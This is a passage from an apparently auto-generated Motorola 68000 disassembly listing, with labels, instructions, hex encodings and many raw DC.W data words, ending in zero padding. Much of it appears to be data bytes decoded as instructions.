  632.     DC.W    $2E28            ;538
  633.     DC.W    $0A2B            ;53A
  634.     ADDQ.B    #2,-(A5)        ;53C: 5425
  635.     BGE.S    LAB_002C        ;53E: 6C8E
  636.     ASL.B    D0,D6            ;540: E126
  637.     ADDQ.L    #8,(A0)+        ;542: 5098
  638.     DC.W    $7138            ;544
  639.     SGT    D7            ;546: 5EC7
  640.     DC.W    $71F2            ;548
  641.     DC.W    $4DF2            ;54A
  642.     DC.W    $053A            ;54C
  643.     NEGX    (A3)            ;54E: 4053
  644.     ADDA    D6,A3            ;550: D6C6
  645.     DC.W    $F9C6            ;552
  646.     DC.W    $1478            ;554
  647.     DC.W    $96F6            ;556
  648.     CMP.L    -9132(A4),D6        ;558: BCACDC54
  649.     MOVE.B    (A3)+,-(A4)        ;55C: 191B
  650.     DC.W    $A51A            ;55E
  651. LAB_0031:
  652.     ADDA.L    D0,A6            ;560: DDC0
  653.     DC.W    $FC18            ;562
  654.     DC.W    $F057            ;564
  655.     DC.W    $F490            ;566
  656.     LSR.L    #3,D6            ;568: E68E
  657.     SUBX    -(A3),-(A4)        ;56A: 994B
  658.     ADD.B    (A0)+,D0        ;56C: D018
  659.     SUBX.B    -(A3),-(A1)        ;56E: 930B
  660.     DC.W    $4140            ;570
  661. LAB_0032:
  662.     DC.W    $F667            ;572
  663.     EXG    A4,A2            ;574: C94A
  664.     DC.W    $FCC5            ;576
  665.     OR.L    D0,-(A2)        ;578: 81A2
  666.     DIVU    (A0),D3            ;57A: 86D0
  667.     DC.W    $A6A0            ;57C
  668.     DIVU    (A2)+,D0        ;57E: 80DA
  669.     SUB    -(A0),D6        ;580: 9C60
  670.     CMP.L    -(A2),D5        ;582: BAA2
  671. LAB_0033:
  672.     SUB    -9154(A0),D2        ;584: 9468DC3E
  673.     DC.W    $71A2            ;588
  674.     DC.W    $A6D7            ;58A
  675.     DC.W    $C8F1            ;58C
  676.     MOVE    D1,D5            ;58E: 3A01
  677.     DC.W    $187C            ;590
  678.     OR.B    D2,-(A0)        ;592: 8520
  679.     DC.W    $17E8            ;594
  680.     MOVE    122(A0,D0.L),(A4)+    ;596: 38F0087A
  681.     ADDQ    #5,(A2)            ;59A: 5A52
  682.     BCC.S    LAB_002F        ;59C: 6488
  683.     SUBI    #$19A6,22714(A2)    ;59E: 046A19A658BA
  684.     MOVE.B    D7,(A2)+        ;5A4: 14C7
  685.     MOVEA    (A0),A1            ;5A6: 3250
  686.     CMPM.B    (A6)+,(A0)+        ;5A8: B10E
  687.     DC.W    $0DB2            ;5AA
  688.     NEG.L    (A4)            ;5AC: 4494
  689.     BCC.S    LAB_0032        ;5AE: 64C2
  690.     MOVE.B    D6,D5            ;5B0: 1A06
  691.     DC.W    $38F2            ;5B2
  692.     DC.W    $71CE            ;5B4
  693.     DC.W    $30EA            ;5B6
  694.     DC.W    $063F            ;5B8
  695.     DC.W    $F2AB            ;5BA
  696.     ORI.L    #$081A1CD0,-(A0)    ;5BC: 00A0081A1CD0
  697.     DC.W    $A29D            ;5C2
  698.     DC.W    $7314            ;5C4
  699.     MOVE.B    D0,(A1)+        ;5C6: 12C0
  700.     LEA    -78(A6,D0.L),A4        ;5C8: 49F608B2
  701.     NEG.L    (A7)            ;5CC: 4497
  702.     SUB.L    D5,D5            ;5CE: 9A85
  703.     BVC.S    LAB_0035+2        ;5D0: 6878
  704.     EOR.B    D6,D2            ;5D2: BD02
  705.     DC.W    $F44C            ;5D4
  706.     ADD    -18(A3,A4.W),D2        ;5D6: D473C0EE
  707.     MOVEA    -12634(A3),A2        ;5DA: 346BCEA6
  708.     DIVS    -(A0),D1        ;5DE: 83E0
  709.     ADD.B    -(A2),D7        ;5E0: DE22
  710.     SUB    (A0)+,D0        ;5E2: 9058
  711.     CMPA.L    (A6)+,A0        ;5E4: B1DE
  712.     LSR    -13204(A2)        ;5E6: E2EACC6C
  713.     DC.W    $ACCC            ;5EA
  714.     DC.W    $A6C4            ;5EC
  715.     MOVE    -1722(A4),D6        ;5EE: 3C2CF946
  716.     CMP.B    -2841(A6),D4        ;5F2: B82EF4E7
  717.     SUB.L    A2,D2            ;5F6: 948A
  718.     DC.W    $AC38            ;5F8
  719.     MULS    (A4),D5            ;5FA: CBD4
  720.     DC.W    $C7C8            ;5FC
  721.     DIVU    (A2)+,D7        ;5FE: 8EDA
  722.     SUBA    #$D81A,A6        ;600: 9CFCD81A
  723.     LSR    D0,D3            ;604: E06B
  724.     DC.W    $DC3E            ;606
  725.     DC.W    $7132            ;608
  726.     DC.W    $CD72            ;60A
  727.     OR.B    D4,D2            ;60C: 8404
  728.     DC.W    $A400            ;60E
  729. LAB_0034:
  730.     MOVE.B    -(A4),-(A7)        ;610: 1F24
  731.     ADDQ.B    #7,D2            ;612: 5E02
  732.     MOVEQ    #40,D2            ;614: 7428
  733.     DC.W    $503A            ;616
  734.     TST    -(A6)            ;618: 4A66
  735.     DC.W    $2F82            ;61A
  736.     BNE.S    LAB_0036        ;61C: 6670
  737.     NEG    (A2)+            ;61E: 445A
  738.     ADDQ.B    #6,-30309(A0)        ;620: 5C28899B
  739.     MOVE    (A4),21356(A3)        ;624: 3754536C
  740.     MOVE.L    (A2),11126(A7)        ;628: 2F522B76
  741.     BHI.S    LAB_0037        ;62C: 627E
  742.     NEGX.B    (A6)+            ;62E: 401E
  743.     EXT.L    D3            ;630: 48C3
  744.     MOVEQ    #-106,D2        ;632: 7496
  745.     EXG    D4,A2            ;634: C98A
  746.     DC.W    $5330            ;636
  747.     DC.W    $D16C            ;638
  748.     DC.W    $66F7            ;63A
  749.     SVS    (A2)+            ;63C: 59DA
  750.     DC.W    $0223            ;63E
  751.     ADDQ    #8,13602(A1)        ;640: 50693522
  752.     DC.W    $1434            ;644
  753.     ADDQ    #6,-(A5)        ;646: 5C65
  754. LAB_0035:
  755.     MOVE.L    22(A6,D0.L),-(A0)    ;648: 21360816
  756.     DC.W    $4871            ;64C
  757.     TAS    -(A7)            ;64E: 4AE7
  758.     BTST    D0,D2            ;650: 0102
  759.     SUBA.L    (EXT_0002).W,A5        ;652: 9BF80AA6
  760.     CMP.B    -28397(A7),D7        ;656: BE2F9113
  761.     DC.W    $8A0E            ;65A
  762.     DC.W    $AE03            ;65C
  763.     SUB.B    D6,(A6)+        ;65E: 9D1E
  764.     CMPA.L    (A4)+,A7        ;660: BFDC
  765.     MOVE.L    (A0)+,(A2)+        ;662: 24D8
  766.     DC.W    $9A0B            ;664
  767.     DC.W    $AD2E            ;666
  768.     OR.L    EXT_0008,D0        ;668: 80B9E8F2C4C8
  769.     DC.W    $E6FA            ;66E
  770.     DC.W    $BCB0            ;670
  771.     SUB.L    D2,D6            ;672: 9C82
  772.     DC.W    $B4B8            ;674
  773.     DC.W    $FCC5            ;676
  774.     AND    D7,-(A2)        ;678: CF62
  775.     EXG    D5,D6            ;67A: CB46
  776.     ROL    #8,D6            ;67C: E15E
  777.     DC.W    $A0BA            ;67E
  778.     CMP.L    (A7),D5            ;680: BA97
  779.     CMP.L    -(A2),D6        ;682: BCA2
  780.     SUB    D3,-(A4)        ;684: 9764
  781.     DC.W    $F350            ;686
  782.     LSL    D7,D4            ;688: EF6C
  783.     DC.W    $A2B2            ;68A
  784.     OR.L    D4,D2            ;68C: 8484
  785. LAB_0036:
  786.     ADDQ.B    #3,D4            ;68E: 5604
  787.     DC.W    $E8F8            ;690
  788.     DC.W    $1BCC            ;692
  789.     MOVE    D1,D4            ;694: 3801
  790.     ADDQ    #6,-24(A5,A7.W)        ;696: 5C75F0E8
  791.     ADDA    (A4),A2            ;69A: D4D4
  792.     BNE.S    LAB_0039        ;69C: 6664
  793.     DC.W    $1D9F            ;69E
  794.     MOVEA    (A4)+,A5        ;6A0: 3A5C
  795.     DC.W    $A460            ;6A2
  796.     MOVEQ    #86,D4            ;6A4: 7856
  797.     DIVU    (A5),D6            ;6A6: 8CD5
  798.     SUBA    A7,A0            ;6A8: 90CF
  799.     ADDA    A4,A2            ;6AA: D4CC
  800. LAB_0037:
  801.     BGT.S    LAB_0038        ;6AC: 6E06
  802.     MOVE.L    22588(A6),-15344(A1)    ;6AE: 236E583CC410
  803. LAB_0038:
  804.     DC.W    $71CE            ;6B4
  805.     DC.W    $33E2            ;6B6
  806.     MOVE.B    (A0),(A4)        ;6B8: 1890
  807.     ADDA.L    (A7),A2            ;6BA: D5D7
  808.     DC.W    $6AFB            ;6BC
  809.     SLT    (A6)+            ;6BE: 5DDE
  810.     MOVE    -(A6),D5        ;6C0: 3A26
  811.     DC.W    $1BA2            ;6C2
  812.     DC.W    $7796            ;6C4
  813.     DC.W    $7310            ;6C6
  814.     DC.W    $F0BC            ;6C8
  815.     MOVE.L    A3,D5            ;6CA: 2A0B
  816.     DC.W    $4871            ;6CC
  817.     MOVE.L    LAB_0034(PC),D5        ;6CE: 2A3AFF40
  818.     EOR.B    D1,(A1)            ;6D2: B311
  819.     DC.W    $F6FC            ;6D4
  820.     ADDA    #$7669,A6        ;6D6: DCFC7669
  821.     MOVEA    -16160(A4),A2        ;6DA: 346CC0E0
  822.     ORI    #$AE22,-7966(A3)    ;6DE: 006BAE22E0E2
  823.     DC.W    $D772            ;6E4
  824.     CMPA.L    (A2),A2            ;6E6: B5D2
  825.     SUB    D0,D6            ;6E8: 9C40
  826.     AND    (A4)+,D3        ;6EA: C65C
  827.     ROR.L    D5,D4            ;6EC: EABC
  828.     MULU    D4,D1            ;6EE: C2C4
  829.     ADD.L    D4,(A2)            ;6F0: D992
  830.     CMP.B    -25907(A4),D3        ;6F2: B62C9ACD
  831.     DC.W    $B2B0            ;6F6
  832.     AND.L    D4,(A4)            ;6F8: C994
  833.     DC.W    $A6FC            ;6FA
  834.     DC.W    $E8D1            ;6FC
  835.     AND.L    D2,-13808(A2)        ;6FE: C5AACA10
  836. LAB_0039:
  837.     AND    D5,(A3)            ;702: CB53
  838.     BVS.S    LAB_003C        ;704: 6972
  839.     ADD.B    (A0),D4            ;706: D810
  840.     MULU    EXT_0009,D0        ;708: C0F9EBCA3C38
  841.     OR.L    D0,D1            ;70E: 8280
  842.     MOVEQ    #19,D7            ;710: 7E13
  843.     MOVE.B    (A4),(A7)        ;712: 1E94
  844.     MOVEQ    #49,D0            ;714: 7031
  845.     MOVEQ    #96,D1            ;716: 7260
  846.     MOVEQ    #-112,D3        ;718: 7690
  847.     BPL.S    LAB_003A        ;71A: 6A08
  848.     MOVEQ    #-95,D7            ;71C: 7EA1
  849.     ANDI    #$3F70,-7964(A4)    ;71E: 026C3F70E0E4
  850. LAB_003A:
  851.     ADDQ    #3,(A4)            ;724: 5654
  852.     DC.W    $2DAF            ;726
  853. LAB_003B:
  854.     MOVE.L    (A2)+,(A5)        ;728: 2A9A
  855.     MOVE.L    -(A6),1220(A5)        ;72A: 2B6604C4
  856.     MOVE.B    D3,(EXT_0003).W        ;72E: 11C35EF2
  857.     MOVEA    (A4),A3            ;732: 3654
  858.     DC.W    $3630            ;734
  859.     MOVE    -22(A4,D4.L),D1        ;736: 323448EA
  860.     DC.W    $4B3A            ;73A
  861.     SUB.L    (A0)+,D6        ;73C: 9C98
  862.     MOVE.L    -(A0),D1        ;73E: 2220
  863.     DC.W    $61E3            ;740
  864.     MOVEQ    #-92,D7            ;742: 7EA4
  865.     DC.W    $7700            ;744
  866.     DC.W    $2B6C            ;746
  867.     DC.W    $407D            ;748
  868.     DC.W    $0A0A            ;74A
  869.     BNE.S    LAB_003B        ;74C: 66DA
  870.     LEA    -258(A4),A2        ;74E: 45ECFEFE
  871.     DC.W    $D6F3            ;752
  872.     ADDA    118(A3,D6.L),A6        ;754: DCF36876
  873.     DC.W    $A099            ;758
  874.     ADD.B    (A4),D1            ;75A: D214
  875.     DIVS    -(A4),D3        ;75C: 87E4
  876.     ADD    -(A5),D5        ;75E: DA65
  877.     SUB.L    -2846(A1),D0        ;760: 90A9F4E2
  878.     ADDA.L    D4,A3            ;764: D7C4
  879.     MOVEA    (A7)+,A3        ;766: 365F
  880.     ROXR    -(A5)            ;768: E4E5
  881.     DC.W    $3534            ;76A
  882.     DC.W    $EADE            ;76C
  883.     DC.W    $7709            ;76E
  884.     ADD.L    D4,-18370(A4)        ;770: D9ACB83E
  885.     DC.W    $A94B            ;774
  886.     DC.W    $4D4F            ;776
  887. LAB_003C:
  888.     MOVE.B    -12886(A1),D1        ;778: 1229CDAA
  889.     DC.W    $C64A            ;77C
  890.     DC.W    $7D0A            ;77E
  891.     BSR.S    LAB_003D        ;780: 6160
  892.     DC.W    $4531            ;782
  893.     BVS.S    LAB_003E        ;784: 6968
  894.     ADDA    -(A5),A6        ;786: DCE5
  895.     DC.W    $CC0C            ;788
  896.     DC.W    $9AB1            ;78A
  897.     OR    (A3)+,D3        ;78C: 865B
  898.     MOVEQ    #-121,D1        ;78E: 7287
  899.     MOVE.B    D4,120(A4,D5.W)        ;790: 19845078
  900.     MOVEQ    #-12,D2            ;794: 74F4
  901.     MOVEQ    #112,D1            ;796: 7270
  902.     DC.W    $6E63            ;798
  903.     DC.W    $8FE8            ;79A
  904.     MOVE.L    (A1),D4            ;79C: 2811
  905.     DC.W    $219A            ;79E
  906.     DC.W    $A79C            ;7A0
  907.     DC.W    $1FA2            ;7A2
  908.     ADDQ.L    #3,-(A0)        ;7A4: 56A0
  909.     DC.W    $15AA            ;7A6
  910.     DC.W    $4E80            ;7A8
  911.     DC.W    $03B2            ;7AA
  912.     NOT.L    D0            ;7AC: 4680
  913.     DC.W    $09BA            ;7AE
  914.     DC.W    $C7CE            ;7B0
  915.     SMI    30670(A4)        ;7B2: 5BEC77CE
  916.     DC.W    $CBFD            ;7B6
  917.     MOVE    3618(A1),(A7)        ;7B8: 3EA90E22
  918.     DC.W    $0E26            ;7BC
  919.     CMP.L    14366(A1),D3        ;7BE: B6A9381E
  920.     AND.L    (A3)+,D1        ;7C2: C29B
  921.     MOVE    (A0),(A7)        ;7C4: 3E90
  922.     AND.L    (A0),D2            ;7C6: C490
  923.     MOVE.L    A7,(A4)            ;7C8: 288F
  924.     SUBQ.L    #4,A2            ;7CA: 598A
  925.     MOVE.L    D6,D0            ;7CC: 2006
  926.     SUBA.L    A1,A4            ;7CE: 99C9
  927.     DC.W    $6871            ;7D0
  928.     DC.W    $2132            ;7D2
  929.     CMPM.B    (A6)+,(A0)+        ;7D4: B10E
  930.     BCHG    D5,D0            ;7D6: 0B40
  931.     DC.W    $D86F            ;7D8
  932.     MULU    -7072(A5),D1        ;7DA: C2EDE460
  933.     LSR    -(A0)            ;7DE: E2E0
  934.     ADDA    (A3)+,A7        ;7E0: DEDB
  935. LAB_003D:
  936.     SUB.B    D5,-(A2)        ;7E2: 9B22
  937.     DC.W    $2F71            ;7E4
  938.     AND    (A4),D1            ;7E6: C254
  939.     ADD.B    (A5),D5            ;7E8: DA15
  940.     SUBX.B    D2,D5            ;7EA: 9B02
  941.     DC.W    $3938            ;7EC
  942. LAB_003E:
  943.     DC.W    $79DD            ;7EE
  944.     DC.W    $24B8            ;7F0
  945.     ROXL    D5,D3            ;7F2: EB73
  946.     DC.W    $494E            ;7F4
  947.     DC.W    $F0AD            ;7F6
  948.     DC.W    $FF64            ;7F8
  949.     SUBQ    #2,(A4)            ;7FA: 5554
  950.     DC.W    $E8D1            ;7FC
  951.     DC.W    $C6CF            ;7FE
  952.     ROXL.L    D6,D2            ;800: EDB2
  953.     DC.W    $F6F1            ;802
  954.     DC.W    $F4E6            ;804
  955.     DC.W    $F3E2            ;806
  956.     DC.W    $F78C            ;808
  957.     OR.L    D2,D0            ;80A: 8082
  958.     ADDA    -6240(A4),A1        ;80C: D2ECE7A0
  959.     MOVE    (A5),D3            ;810: 3615
  960.     DC.W    $0E1B            ;812
  961.     DC.W    $1E59            ;814
  962.     MOVE    (A1)+,D5        ;816: 3A19
  963.     MOVEP    6242(A1),D2        ;818: 05091862
  964.     MOVE.L    D1,-(A0)        ;81C: 2101
  965.     DC.W    $0C05            ;81E
  966.     DC.W    $2C3D            ;820
  967.     DC.W    $2E31            ;822
  968.     DC.W    $393A            ;824
  969.     BVC.S    LAB_003F        ;826: 6870
  970.     MOVEQ    #124,D7            ;828: 7E7C
  971.     MOVEQ    #120,D5            ;82A: 7A78
  972.     MOVEQ    #117,D3            ;82C: 7675
  973.     MOVEQ    #117,D0            ;82E: 7075
  974.     MOVE    (A1),D2            ;830: 3411
  975.     DC.W    $1A6E            ;832
  976.     SUBQ    #1,D6            ;834: 5346
  977.     DC.W    $4159            ;836
  978.     DC.W    $4142            ;838
  979.     DC.W    $0A1A            ;83A
  980.     DC.W    $0814            ;83C
  981.     MOVE.B    5142(A2),-(A1)        ;83E: 132A1416
  982.     RESET                ;842: 4E70
  983.     DC.W    $777A            ;844
  984.     DC.W    $7963            ;846
  985.     MOVEA.L    25978(A2),A7        ;848: 2E6A657A
  986.     DC.W    $2670            ;84C
  987.     DC.W    $6A65            ;84E
  988.     ADD.L    -27748(A6),D7        ;850: DEAE939C
  989.     SUBA.L    (A0)+,A1        ;854: 93D8
  990.     DC.W    $D2BD            ;856
  991.     OR.L    D3,(A7)+        ;858: 879F
  992.     SUB.L    A5,D7            ;85A: 9E8D
  993.     SUBA    D5,A2            ;85C: 94C5
  994.     MULS    -8484(A2),D1        ;85E: C3EADEDC
  995.     ADDA    (A0)+,A5        ;862: DAD8
  996.     ADDA    (A4),A3            ;864: D6D4
  997.     ADDA    (A0),A1            ;866: D2D0
  998.     DC.W    $CECC            ;868
  999.     DC.W    $CAC8            ;86A
  1000.     MULU    D4,D3            ;86C: C6C4
  1001.     MULU    D0,D1            ;86E: C2C0
  1002.     DC.W    $BEBF            ;870
  1003.     OR.B    D5,(A0)+        ;872: 8B18
  1004.     DC.W    $B6B4            ;874
  1005.     CMPA.L    (A0),A2            ;876: B5D0
  1006.     DC.W    $AEAC            ;878
  1007.     DC.W    $AAA8            ;87A
  1008.     DC.W    $A6A4            ;87C
  1009.     DC.W    $A2A0            ;87E
  1010.     SUB.L    (A4)+,D7        ;880: 9E9C
  1011.     SUB.L    (A0)+,D5        ;882: 9A98
  1012.     SUB.L    (A4),D3            ;884: 9694
  1013.     SUB.L    (A0),D1            ;886: 9290
  1014.     DC.W    $8E8C            ;888
  1015.     DC.W    $8A88            ;88A
  1016.     OR.L    D4,D3            ;88C: 8684
  1017.     OR.L    D0,D1            ;88E: 8280
  1018.     MOVEQ    #124,D7            ;890: 7E7C
  1019.     MOVEQ    #120,D5            ;892: 7A78
  1020.     MOVEQ    #116,D3            ;894: 7674
  1021.     MOVEQ    #112,D1            ;896: 7270
  1022. LAB_003F:
  1023.     ORI.B    #$00,D0            ;898: 00000000
  1024.     ORI.B    #$00,D0            ;89C: 00000000
  1025.     ORI.B    #$00,D0            ;8A0: 00000000
  1026.     ORI.B    #$00,D0            ;8A4: 00000000
  1027.     ORI.B    #$00,D0            ;8A8: 00000000
  1028.     ORI.B    #$00,D0            ;8AC: 00000000
  1029.     ORI.B    #$00,D0            ;8B0: 00000000
  1030.     ORI.B    #$00,D0            ;8B4: 00000000
  1031.     ORI.B    #$00,D0            ;8B8: 00000000
  1032.     ORI.B    #$00,D0            ;8BC: 00000000
  1033.     END
  1034.